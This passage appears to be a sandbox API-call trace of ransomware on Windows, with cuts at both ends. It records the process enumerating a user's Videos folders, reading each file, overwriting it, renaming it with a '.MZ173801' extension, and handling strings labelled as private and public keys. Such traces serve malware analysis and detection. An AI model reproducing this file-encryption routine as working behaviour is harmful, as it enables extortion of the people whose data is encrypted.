lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf343b010, ftCreationTime.dwHighDateTime=0x1d5e361, ftLastAccessTime.dwLowDateTime=0xecfb60f0, ftLastAccessTime.dwHighDateTime=0x1d5efa4, ftLastWriteTime.dwLowDateTime=0x8d122dcd, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11a1f, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="4NRYueZu34oKrb1iEn.mkv.MZ173801", cAlternateFileName="4NRYUE~1.MZ1")) returned 1 [0166.162] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.162] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.162] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c03e2d0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0xff6a9f50, ftLastAccessTime.dwHighDateTime=0x1d5e61f, ftLastWriteTime.dwLowDateTime=0xff6a9f50, ftLastWriteTime.dwHighDateTime=0x1d5e61f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="5DFJaZ09zxpj", cAlternateFileName="5DFJAZ~1")) returned 1 [0166.162] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.162] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.162] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\*.*", lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c03e2d0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0xff6a9f50, ftLastAccessTime.dwHighDateTime=0x1d5e61f, ftLastWriteTime.dwLowDateTime=0xff6a9f50, ftLastWriteTime.dwHighDateTime=0x1d5e61f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0166.162] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c03e2d0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0xff6a9f50, ftLastAccessTime.dwHighDateTime=0x1d5e61f, ftLastWriteTime.dwLowDateTime=0xff6a9f50, ftLastWriteTime.dwHighDateTime=0x1d5e61f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="..", cAlternateFileName="")) returned 1 [0166.162] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ea6c50, ftCreationTime.dwHighDateTime=0x1d5ea1f, ftLastAccessTime.dwLowDateTime=0x414543c0, ftLastAccessTime.dwHighDateTime=0x1d5e761, ftLastWriteTime.dwLowDateTime=0x414543c0, ftLastWriteTime.dwHighDateTime=0x1d5e761, nFileSizeHigh=0x0, nFileSizeLow=0x883f, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="5zGRTy-2fNRCTB wsnKe.mkv", cAlternateFileName="5ZGRTY~1.MKV")) returned 1 [0166.162] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f264 | out: lpLocalFileTime=0x19f264) returned 1 [0166.162] FileTimeToDosDateTime (in: lpFileTime=0x19f264, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\5zGRTy-2fNRCTB wsnKe.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\5zgrty-2fnrctb wsnke.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ea6c50, ftCreationTime.dwHighDateTime=0x1d5ea1f, ftLastAccessTime.dwLowDateTime=0x414543c0, ftLastAccessTime.dwHighDateTime=0x1d5e761, ftLastWriteTime.dwLowDateTime=0x414543c0, ftLastWriteTime.dwHighDateTime=0x1d5e761, nFileSizeHigh=0x0, nFileSizeLow=0x883f)) returned 1 [0166.163] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\5zGRTy-2fNRCTB wsnKe.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\5zgrty-2fnrctb wsnke.mkv")) returned 0x20 [0166.163] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\5zGRTy-2fNRCTB wsnKe.mkv", dwFileAttributes=0x80) returned 1 [0166.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.164] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.165] GetCurrentThreadId () returned 0xab4 [0166.165] GetCurrentThreadId () returned 0xab4 [0166.165] GetCurrentThreadId () returned 0xab4 [0166.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.166] GetCurrentThreadId () returned 0xab4 [0166.166] GetCurrentThreadId () returned 0xab4 [0166.166] GetCurrentThreadId () returned 0xab4 [0166.166] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\5zGRTy-2fNRCTB wsnKe.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\5zgrty-2fnrctb wsnke.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.166] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0166.166] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.166] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x883f [0166.166] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0166.166] ReadFile (in: hFile=0x2f4, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x883f, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f1b4*=0x883f, lpOverlapped=0x0) returned 1 [0166.167] CloseHandle (hObject=0x2f4) returned 1 [0166.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\5zGRTy-2fNRCTB wsnKe.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\5zgrty-2fnrctb wsnke.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0166.169] WriteFile (in: hFile=0x2f4, lpBuffer=0x24c2ed0*, nNumberOfBytesToWrite=0x883f, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x24c2ed0*, lpNumberOfBytesWritten=0x19f1c0*=0x883f, lpOverlapped=0x0) returned 1 [0166.170] CloseHandle (hObject=0x2f4) returned 1 [0166.359] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\5zGRTy-2fNRCTB wsnKe.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\5zgrty-2fnrctb wsnke.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\5DFJaZ09zxpj\\5zGRTy-2fNRCTB wsnKe.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\5dfjaz09zxpj\\5zgrty-2fnrctb wsnke.mkv.mz173801")) returned 1 [0166.360] GetCurrentThreadId () returned 0xab4 [0166.360] GetCurrentThreadId () returned 0xab4 [0166.360] GetCurrentThreadId () returned 0xab4 [0166.360] GetCurrentThreadId () returned 0xab4 [0166.361] GetCurrentThreadId () returned 0xab4 [0166.361] GetCurrentThreadId () returned 0xab4 [0166.361] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf570d500, ftCreationTime.dwHighDateTime=0x1d5e85e, ftLastAccessTime.dwLowDateTime=0xb122faf0, ftLastAccessTime.dwHighDateTime=0x1d5e9c0, ftLastWriteTime.dwLowDateTime=0xb122faf0, ftLastWriteTime.dwHighDateTime=0x1d5e9c0, nFileSizeHigh=0x0, nFileSizeLow=0x13486, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="jtVwtSRgZQhn.swf", cAlternateFileName="JTVWTS~1.SWF")) returned 1 [0166.361] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0166.361] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0166.361] GetFileAttributesExW (in: 